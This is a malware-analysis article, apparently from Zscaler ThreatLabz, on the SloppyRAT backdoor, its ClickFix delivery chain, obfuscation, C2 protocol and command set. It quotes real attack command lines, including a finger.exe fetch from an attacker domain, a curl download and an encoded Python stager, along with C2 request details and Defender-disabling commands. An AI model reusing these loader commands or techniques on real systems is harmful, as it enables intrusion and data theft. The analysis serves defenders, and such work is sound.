SloppyRAT: A New Tool For Ransomware Attacks
Zscaler details SloppyRAT, a new DLL backdoor delivered via ClickFix lures that stages CastleLoader and CastleRAT ahead of ransomware attacks.
Zscaler ThreatLabz analyzed SloppyRAT, a DLL-based backdoor distributed via ClickFix lures that abuses finger.exe over TCP port 79 to download a batch script. The malware copies curl.exe to download IronPython 3.4.2 from GitHub and executes zlib-compressed Base64-encoded Python to deploy CastleLoader and CastleRAT, then reflectively loads SloppyRAT in memory. It hinders analysis using XOR stack-string obfuscation, a modified affine cipher with modulus 127, and 13 runtime-decrypted code blocks, while communicating with C2 over a reverse SOCKS channel.
- Delivered via ClickFix lure abusing finger.exe over TCP port 79 to fetch a batch script
- Downloads IronPython 3.4.2 from GitHub to run zlib-compressed, Base64-encoded Python staging CastleLoader and CastleRAT
- Uses XOR stack strings, an affine cipher with modulus 127, and 13 runtime-decrypted code blocks
- Communicates with C2 via reverse SOCKS; defenders can block port 79 egress and finger.exe
Indicators of compromiseauto-extracted · verify before use · export allAll →
| Type | Indicator | Context |
|---|---|---|
| domain | 9342371634011778.com | following command line: "C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\Ap |
| domain | hostfxr.dll | from hxxps[://]stro7121[.]blob[.]core[.]windows[.]net/dpp1/hostfxr[.]dll and invoked the DLL export name f3b980dea . The config.py |
| domain | linked4x.com | nger.exe to download and execute a batch script from finger.linked4x[.]com as shown in the command line below: "C:\windows\system32\ |
| domain | skipraid.com | CastleLoader and CastleRAT components were downloaded from skipraid[.]com using the User-Agent string K8VGmQTrzX . Alongside Castle |
| domain | stro7121.blob.core.windows.net | mory. This script downloaded a SloppyRAT DLL from hxxps[://]stro7121[.]blob[.]core[.]windows[.]net/dpp1/hostfxr[.]dll and invoked the DLL export name |
| domain | system.net | ieve the number of milliseconds since boot. GetTickCount64 [System.Net.Dns]::GetHostName() / domain — Retrieves the host name or d |
| domain | windows.net | and execute a Python script from hxxps://stro7121.blob.core.windows[.]net/dpp1/config.py . SloppyRAT stager The config.py script’s |
| sha256 | af4c426b8c4b3b4957875206948eedae09b670f349f2ffb70df7b7a6b06cd588 | application/json User-Agent: CommandExecutor/1.0 X-API-KEY: af4c426b8c4b3b4957875206948eedae09b670f349f2ffb70df7b7a6b06cd588 Content-Length: 49 Host: api.truesmart.org {"machine_id":"a |
| url | https://stro7121.blob.core.windows[ | xe interpreter to download and execute a Python script from hxxps://stro7121.blob.core.windows[.]net/dpp1/config.py . SloppyRAT stager The config.py script |
Full article2,532 words · extracted from zscaler.com · click to collapse
Technical Analysis
In the following sections, ThreatLabz provides a technical analysis of SloppyRAT, including its infection vector, anti-analysis techniques, network protocol, and command execution functionality.
Infection vector
ThreatLabz observed SloppyRAT distributed via a ClickFix style lure, using finger.exe to download and execute a batch script from finger.linked4x[.]com as shown in the command line below:
"C:\windows\system32\cmd.exe" /c s^t^a^r^t "" /min for /f "delims=@" %o in (',f^^i^^n^^g^^e^^r^^r^^r^^g^^e^^r ixwcQmlCSK@f^^i^^n^^g^^e^^r^^r^^e^^r^^.^^linked4x.com') do %o & ' --Verify ---------------------------- press---ENTER-- 'The finger.exe utility uses the Finger protocol, which typically communicates with servers over TCP port 79. Most corporate environments do not require this tool or protocol. Therefore, organizations can block egress traffic on port 79 and block the execution of the finger.exe utility.
The downloaded batch script copies (the native Windows) curl.exe to the AppData directory using a filename that consists of numbers and a .com extension. The renamed curl executable is then used to download IronPython from GitHub using the following command line:
"C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zipIronPython is renamed and then used to execute zlib compressed Base64-encoded Python code via the command line shown below, which downloads and runs additional stages, leading to the deployment of CastleLoader, and ultimately, CastleRAT.
"C:\Users\[redacted]\AppData\Local\IronPython.3.4.2\net462\31706105999761.exe" -c "import base64,zlib,sys,subprocess as s;s.Popen([sys.executable,'-c',zlib.decompress(base64.b64decode('eJytEtLwAUhbMW/A8FF0Bq1aeEirhpeALi4o7qw1ixdbWPLQq/eege/iJVgN4uIjmfuaM2earkVRNBYPYleci4E4Eh1kL7FiTgTU2JvYov4TPtoDfFEzEUu+mJHHIiVscJee/rCvEuUokFPjq69YXLJzv7StZjd/Y70SYe5jxtLl6CncL09xtBzi2fW26c+ITfkPSVX0luQH/FeoDd3M4P2Jzdv7s6x/41ndfSUzHwhluFByjNB828azi+souev/OZ874d8LjPL/NotmDwj+w7y88+6yh72Lkm9AzpuxcM9Q8wlX0n0e')).decode('utf-32'))]"Note that the CastleLoader and CastleRAT components were downloaded from skipraid[.]com using the User-Agent string K8VGmQTrzX. Alongside CastleRAT, the threat actor chose to deploy an additional Python interpreter that was downloaded and written to disk (instead of re-using the IronPython interpreter). The threat actor then used the pythonw.exe interpreter to download and execute a Python script from hxxps://stro7121.blob.core.windows[.]net/dpp1/config.py.
SloppyRAT stager
The config.py script’s purpose is to download and reflectively load a DLL in memory. This script downloaded a SloppyRAT DLL from hxxps[://]stro7121[.]blob[.]core[.]windows[.]net/dpp1/hostfxr[.]dll and invoked the DLL export name f3b980dea. The config.py script used the distinctive User-Agent Mozilla/5.0 (compatible; DLLMemLoader/1.0). The SloppyRAT DLL that was downloaded from this URL is the sample that was analyzed in the following sections.
Anti-analysis
SloppyRAT employs several anti-analysis techniques to hinder analysis and detection.
String obfuscation
SloppyRAT uses three string obfuscation methods. The first decodes strings constructed on the stack, the second decodes global values, and the third decodes strings related to Polygon C2 communications.
Stack strings are obfuscated with XOR using a unique 4-byte key for each string. Global values are decrypted using XOR, but with a single-byte key that changes per string. These strings include configuration values such as the SHA256 certificate hash, C2 URL, encryption key (which serves several purposes, including network communication) and an API key used for authentication.
The Polygon resolver’s C2 strings use an affine cipher loop algorithm. Affine ciphers typically use the number 26 as a modulus to represent the English alphabet. However, SloppyRAT uses the modulus 127, which is the size of the ASCII table. Because the number 127 is coprime with all the numbers from 1 to 126, the algorithm avoids collisions and remains reversible. The following Python code implements the decryption algorithm, with A and B representing the keys that change for each string:
(A * c + B) % 127 for c in cipher
Encrypted code blocks
SloppyRAT also uses code encryption to hinder analysis. A total of 13 functions are decrypted and executed at runtime. Information for each encrypted code block is stored in a table with the following structure:
struct encrypted_routines_table
{
uint32_t rva;
uint32_t size;
uint32_t key;
uint32_t reserved;
};SloppyRAT uses the following XOR-based algorithm to decrypt each code block:
for i in range(len(encrypted_function_buffer)):
encrypted_function_buffer[i] ^= (i & 0xFF) ^ ((key >> (i & 31)) & 0xFF)
return encrypted_function_buffer
The functions are decrypted in place after the section permissions are changed to read/write/execute. The code remains decrypted in memory until the process terminates. Although the code can re-encrypt the functions with a different key (and SloppyRAT caches a copy of the plaintext for this purpose), this capability is not currently used, as shown in the figure below.

Figure 1: SloppyRAT runtime code decryption routine.
The 13 encrypted functions primarily support the malware’s initialization and network communication. The purpose of these functions is described below:
- Reads configuration global values and enters the communication loop.
- Dispatches tasks to the internal command execution handlers.
- Generates the machine ID and the session nonce used as a request ID for SOCKS communication.
- Creates a reverse SOCKS worker thread.
- Stops the reverse SOCKS worker thread.
- Requests a command from the C2 and parses the JSON response into an internal task structure.
- Generates a folder path for persistence in
%LOCALAPPDATA%. - Starts the C2 worker thread.
- Stores the returned session token in a global variable for subsequent authenticated requests.
- Runs the C2 worker loop.
- Checks whether the resolved NTDLL syscall gadget begins with
0F 05. - Stops the C2 worker thread.
- Reads 4 configuration global values from the
.rdatasection.
Junk code
The SloppyRAT malware author inserted junk code throughout the program to hinder static analysis and evade signature-based antivirus detection. Most of this junk code serves no meaningful purpose such as allocating and freeing memory, calling Windows API functions, and performing bitwise operations. An example of the junk code is shown below.

Figure 2: Example of SloppyRAT junk code.
Indirect system calls and API hashing
Like many modern malware families, SloppyRAT uses a Hell’s Gate-style technique to avoid security products that hook various Windows API functions. SloppyRAT first resolves the DJB2 hashes associated with the functions listed in the table below:
Hash | Function name |
|---|---|
0x6793C34C | NtAllocateVirtualMemory |
0x95F3A792 | NtWriteVirtualMemory |
0xCB0C2130 | NtCreateThreadEx |
0x082962C8 | NtProtectVirtualMemory |
0x2C7B3D30 | NtResumeThread |
0x8B8E133D | NtClose |
0x4C6DC63C | NtWaitForSingleObject |
0x1703AB2F | NtTerminateProcess |
0xD034FC62 | NtQueryInformationProcess |
0x15A5ECDB | NtCreateFile |
0x5F8E4559 | NtCreateUserProcess |
0x2E979AE3 | NtReadFile |
0xD69326B2 | NtWriteFile |
0x4BB73E02 | NtOpenKey |
0xF52D5359 | NtSetValueKey |
0xB1BEF7F6 | NtOpenProcessTokenEx |
0x2CE5A244 | NtQueryInformationToken |
0x5DBF4A84 | NtCreateKey |
0x5003C058 | NtOpenProcess |
0xEE4F73A8 | NtQuerySystemInformation |
0xD5D4388C | Unknown |
Table 1: Windows API functions resolved by SloppyRAT using DJB2 hashes.
After identifying an export by its hash, SloppyRAT reads the start of the function. The malware searches the NTDLL stub for the opcode B8 (mov eax), extracts that 4-byte immediate value, and stores the syscall number in an internal table. The following assembly code shows how one of these NT functions can be parsed to obtain the syscall number.
mov r10, rcx ; bytes: 4C 8B D1
mov eax, 0x123 ; bytes: B8 23 01 00 00 ← the syscall number
syscall ; bytes: 0F 05
ret ; bytes: C3When SloppyRAT invokes the corresponding function, it does so through a direct syscall instead of using the Windows API. Note that SloppyRAT only uses the following 10 (out of the 21) resolved functions in the code:
- NtAllocateVirtualMemory
- NtWriteVirtualMemory
- NtCreateThreadEx
- NtProtectVirtualMemory
- NtResumeThread
- NtCreateFile
- NtCreateKey
- NtWaitForSingleObject
- NtTerminateProcess
- NtOpenProcess
Persistence
Some SloppyRAT variants do not establish persistence. The variants that do, use one of two methods:
- Adding an entry under the
HKCU\Software\Microsoft\Windows\CurrentVersion\Runregistry key with the namerundll32. - If the registry entry cannot be set, then SloppyRAT appears to be designed to perform COM hijacking by adding the malware path to the
HKLM\Software\Classes\CLSID\{[clsid]}\InprocServer32registry key instead.
However, both methods appear to be implemented incorrectly. The Run registry value is set to execute rundll32.exe without specifying the necessary path to the SloppyRAT DLL and invoking the required export.
The figure below shows SloppyRAT’s failed attempt to establish persistence using the Run registry key.

Figure 3: SloppyRAT’s failed attempt at establishing persistence via the Run registry key.
For COM hijacking to work, SloppyRAT must replace an already existing CLSID with a value to execute its own DLL. However, the malware generates a completely new CLSID based on the FNV-1a hash of the computer name, defeating the purpose of the technique. Similar to the Run registry code, SloppyRAT also doesn’t provide the correct path to the DLL and export in the CLSID value.
The figure below shows SloppyRAT’s unsuccessful attempt to establish persistence through COM hijacking.

Figure 4: SloppyRAT’s failed COM hijacking attempt.
Network communication
SloppyRAT communicates over HTTPS with JSON-formatted messages. Depending on the sample, the C2 URL may be embedded in the configuration or retrieved from the Polygon blockchain through EtherHiding.
Certificate pinning
During the TLS handshake, SloppyRAT compares the server certificate against a hardcoded SHA256 hash. If the hash value does not match, SloppyRAT closes the connection, preventing network monitoring via TLS MiTM attacks. Older samples perform the TLS handshake through raw SChannel sockets, while newer samples use the WinHTTP API and retrieve the leaf certificate through WinHttpQueryOption. SloppyRAT computes the SHA256 hash of the entire DER-encoded certificate, rather than just the public key.
Endpoints
After completing the certificate-pinning check, SloppyRAT sends an authentication request with a hardcoded API key value in the X-API-Key HTTP header. The request also includes a machine ID (generated using an FNV hash of the volume serial number, volume name, file system name, and computer name) and a version number that may represent either the malware or protocol version. An example request is shown below.
POST /api/auth HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: CommandExecutor/1.0
X-API-KEY: af4c426b8c4b3b4957875206948eedae09b670f349f2ffb70df7b7a6b06cd588
Content-Length: 49
Host: api.truesmart.org
{"machine_id":"ae2e634db646790f","version":"1.0"}The SloppyRAT C2 server returns a session token, which the malware includes in subsequent requests using the Authorization Bearer HTTP header. For proxy-connection acknowledgements, SloppyRAT sends the token in the X-CSRF-Token header instead. The protocol supports authentication, system information reporting, and task execution. The C2 endpoints available are listed in the table below:
HTTP method | Path | Request body | Response | Description |
|---|---|---|---|---|
POST | /api/auth | {"machine_id":"[machine_id]","version":"1.0"} | {"token":"[session_token]"} | Authentication request |
POST | /api/systeminfo | {"systeminfo":"[Base64(RC4(system_info))]","encrypted":true} | N/A | One-shot host fingerprint |
POST | /api/av_edr | {"[field]":"[Base64(RC4(av_list))]","encrypted":true} | {"success":true/false} | Sends antivirus/EDR information |
GET | /api/poll?machine_id=(mid) | N/A | {} or {"action": "close/open", "request_id":"..."} | Heartbeat and reverse SOCKS broker initiator |
GET | /api/command/get | N/A | {"command": {...|null, "id":N}, "shell_type": "cmd"|"powershell"|"auto"|”inline”} | Requests a command |
POST | /api/command/result | {"id": N,"status": "completed" | "failed" | "timeout","result": "[Base64(RC4(stdout))]","error": "[Base64(RC4(stderr))]","exit_code": [int],"encrypted": true} | N/A | Sends executed command results |
POST | /api/proxy/ack | {"request_id":"[request_id]"} | N/A | Reverse-SOCKS proxy confirmation response |
Table 2: SloppyRAT C2 communication endpoints.
The command results and system information are sent encrypted with RC4 using a hardcoded key and then Base64-encoded. SloppyRAT also supports a separate reverse SOCKS connection through the /api/poll response, allowing the operator to use the infected host as a proxy to access other systems on an internal corporate network for lateral movement.
EtherHiding
To improve resilience against takedowns, SloppyRAT can retrieve C2 information from the Polygon blockchain network. However, this capability may still be in development because ThreatLabz has not identified any samples containing a smart contract address. Only the contract selector 0xd6bd8727 has been observed. The smart contract address can be supplied either in the configuration at build time or through the LOADER_POLYGON_RESOLVER environment variable.
Command execution
Each command received from the C2 server is formatted as JSON and contains a shell_type field with one of the following values:
powershellcmdautoorinline(depending on the variant)
The shell_type value is paired with a command string that determines which command handler SloppyRAT uses. The powershell value selects one of three increasingly-noisy command handlers (i.e. most likely to reduce the chances of triggering an EDR detection) to execute commands. The cmd value executes commands through WMI. The auto value chooses the appropriate command handler based on the command sent, while inline is a newer option that replaces auto in some variants that invokes the PSInline PowerShell handler described later.
Built-in PowerShell-like command execution
If the shell_type is set to powershell, SloppyRAT first checks whether the command string matches one of 47 built-in commands. Although their names resemble PowerShell cmdlets, these commands are implemented in C++ and interact directly with Windows APIs rather than PowerShell. The table below lists these commands.
Cmdlet / Expression | Parameters | Description | Windows APIs / Mechanism |
|---|---|---|---|
whoami | — | Retrieves the current user and computer name. | GetUserNameW + GetComputerNameExW |
hostname | — | Retrieves the computer's DNS hostname. | GetComputerNameExW(ComputerNameDnsHostname) |
$env:USERNAME | — | Retrieves the USERNAME environment variable. | GetEnvironmentVariableW("USERNAME") |
$env:COMPUTERNAME | — | Retrieves the COMPUTERNAME environment variable. | GetEnvironmentVariableW("COMPUTERNAME") |
[Environment]::UserName | — | Retrieves the logged-in username. | GetUserNameW |
[Environment]::MachineName | — | Retrieves the NetBIOS machine name. | GetComputerNameExW |
[Environment]::OSVersion / uname | — | Retrieves the operating system (OS) version. | RtlGetVersion |
caption | — | Retrieves the OS product name (e.g. "Windows 10 Pro") | Win32_OperatingSystem.Caption |
[Environment]::Is64BitOperatingSystem | — | Determines whether the OS is 64-bit. | GetNativeSystemInfo |
[Environment]::Is64BitProcess | — | Determines whether the OS is 64-bit. | No API involved (sizeof(void*)==8) |
systemdirectory | — | Retrieves the path to %WINDIR%\System32. | GetSystemDirectoryW |
processorcount | — | Retrieves the number of logical CPUs. | GetNativeSystemInfo → dwNumberOfProcessors |
currentdirectory | — | Retrieves the process's current working directory. | GetCurrentDirectoryW |
uptime | — | Retrieve the number of milliseconds since boot. | GetTickCount64 |
[System.Net.Dns]::GetHostName() / domain | — | Retrieves the host name or domain name | GetComputerNameExW |
pwd / Get-Location / gl | — | Prints the current working directory. | GetCurrentDirectoryW |
cd / Set-Location / sl / chdir / set | [path] | Changes the current working directory. | SetCurrentDirectoryW |
ls / dir / gci / Get-ChildItem | [path] | Lists directory contents. | FindFirstFileW + FindNextFileW + FindClose |
cat / type / Get-Content / gc | [file] | Reads a file's contents. | CreateFileW + ReadFile + CloseHandle |
New-Item / mkdir / md / ni | -ItemType Directory [path] | Creates a directory (recursively when needed). | CreateDirectoryW + SHCreateDirectoryExW |
Remove-Item / del / erase / ri / rm | [path] [-Recurse] | Deletes a file or directory tree. | DeleteFileW / RemoveDirectoryW (recursive via FindFirstFileW) |
ls env: | — | Retrieves all environment variables. | GetEnvironmentStringsW + FreeEnvironmentStringsW |
$env:LOCALAPPDATA / APPDATA / TEMP / USERPROFILE / WINDIR / SystemRoot / SystemDrive | — | Reads user or system folder paths. | GetEnvironmentVariableW / GetTempPathW / SHGetFolderPathW |
[Environment]::GetEnvironmentVariable(name) | [name] | Returns an environment variable by name. | GetEnvironmentVariableW |
Get-Process / ps / tasklist / gps | [name] | Enumerates running processes. | K32EnumProcesses + OpenProcess + GetModuleFileNameW + GetProcessTimes |
Get-Service | — | Enumerates Windows services. | Dynamic advapi32: OpenSCManagerW + EnumServicesStatusExW + CloseServiceHandle |
Start-Process / saps / start / call / & | [exe] [args] | Spawns a new process. | CreateProcessW |
Get-ComputerInfo | — | Retrieves system information. | RtlGetVersion (dyn) + GetNativeSystemInfo + GlobalMemoryStatusEx + GetComputerNameExW |
Get-Date / date | — | Retrieves the current local date and time. | GetLocalTime + SystemTimeToFileTime |
[Environment]::TickCount | — | Retrieves the tick count since boot. | GetTickCount64 |
$PSVersionTable | — | Retrieves PowerShell version information. | RtlGetVersion checked against hardcoded product-name list (Win 7/8/8.1/10/11) |
Get-LocalUser | — | Enumerates local user accounts. | Dynamic netapi32: NetUserEnum + NetApiBufferFree |
Get-LocalGroupMember | [group] | Enumerates members of a local group (e.g., Administrators). | Dynamic netapi32: NetLocalGroupGetMembers + NetApiBufferFree |
Get-ItemProperty | [registry path] (HKLM:\... / HKCU:\... / HKCR:\...) | Reads a registry key's values. | RegOpenKeyExW + RegQueryValueExW + RegEnumValueW + RegCloseKey |
Test-NetConnection / tnc | -ComputerName [host] -Port [port] | Performs a TCP connectivity probe. | WSAStartup + GetAddrInfoW + socket + ioctlsocket + connect + select + closesocket |
Test-Connection | [host] | Performs a TCP-based ping without ICMP. | socket + connect + select |
Resolve-DnsName | [host] | Performs a DNS lookup for A and AAAA records. | WSAStartup + GetAddrInfoW + FreeAddrInfoW |
Get-MpComputerStatus | — | Queries Microsoft Defender status. | CoCreateInstance(WbemLocator) → ROOT\Microsoft\Windows\Defender → ExecQuery MSFT_MpComputerStatus |
Set-MpPreference / Add-MpPreference | -[Setting] [Value] (e.g. -DisableRealtimeMonitoring $true) | Modifies Microsoft Defender configuration. | CoCreateInstance(WbemLocator) → ExecMethod on MSFT_MpPreference |
gwmi / Get-WmiObject / gcim / Get-CimInstance | [class] | Queries an arbitrary Windows Management Instrumentation (WMI) class(e.g., Win32_Process). | CoInitializeEx + CoCreateInstance(WbemLocator) → ROOT\CIMV2 → ExecQuery → IEnumWbemClassObject |
findstr / dir / search (WMI-translated) | [pattern] | Searches the filesystem by name or pattern using WMI. | same WMI path → SELECT Name,FileSize FROM CIM_DataFile WHERE ... |
(New-Object Net.WebClient).DownloadFile | [url] [dest] | Downloads a file from a URL and writes it to the specified destination on disk. | Dynamic WinHTTP: WinHttpOpen/Connect/OpenRequest/SendRequest/ReceiveResponse/ReadData + CreateFileW/WriteFile |
WScript.Shell.CreateShortcut(...) | [lnk path] + target properties | Creates an .lnk shortcut (persistence helper). | CoCreateInstance(CLSID_ShellLink, IID_IShellLinkW) + IShellLinkW::SetPath/... + IPersistFile::Save |
echo / Write-Output / Write-Host | [text] | Echoes text back to the operator. | no API involved (string passthrough) |
iex / Invoke-Expression | [expression] | Re-dispatches a string as a command. | no API involved (recursive call into the dispatcher with the expression as input) |
$LASTEXITCODE | — | Returns the last command's exit code. | N/A |
-eq / -ne / -gt / -lt | [left] [right] | Compares integer or string values | N/A |
Table 3: Built-in commands implemented by SloppyRAT.
ThreatLabz identified SloppyRAT variants that omit these built-in commands, reducing the size of the binary by approximately 400KB.
PowerShell (PSInline) execution via CLR
If the shell_type is set to powershell (or inline in some variants) but the command does not match a built-in command, SloppyRAT loads the .NET common language runtime (CLR) execution engine (clr.dll) through COM objects. It then loads System.Management.Automation.dll and calls PowerShell.Create().AddScript(cmd).Invoke() to execute the command. The SloppyRAT code internally refers to this command handler as PSInline.
The handler stores the most recent command results in a temporary file in the %TEMP% directory. The filename uses a PNG extension to disguise itself as an image file. The contents of the file include a PNG header and the command results, which are encrypted via XOR with the hardcoded key (also used for network communication) in SloppyRAT’s configuration.
PPID-spoofed PowerShell (PSSpoof) execution
This command execution path, referred to internally as PSSpoof, is only used when the .NET CLR instantiation through the PSInline command handler fails. This may happen if .NET is not installed or the COM interface is incompatible with the existing .NET installation. In this case, SloppyRAT spawns an actual powershell.exe process but with explorer.exe as the parent process ID. Parent process ID spoofing is accomplished by constructing a STARTUPINFOEX structure with the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute pointing to a handle for the explorer.exe process, then calling CreateProcessW.
WMI command execution
SloppyRAT also supports the value cmd for the shell_type, which launches a command-line through WMI using Win32_Process::Create.
Text extracted automatically; images, tables and formatting may be missing. Original: https://www.zscaler.com/blogs/security-research/sloppyrat-new-tool-ransomware-attacks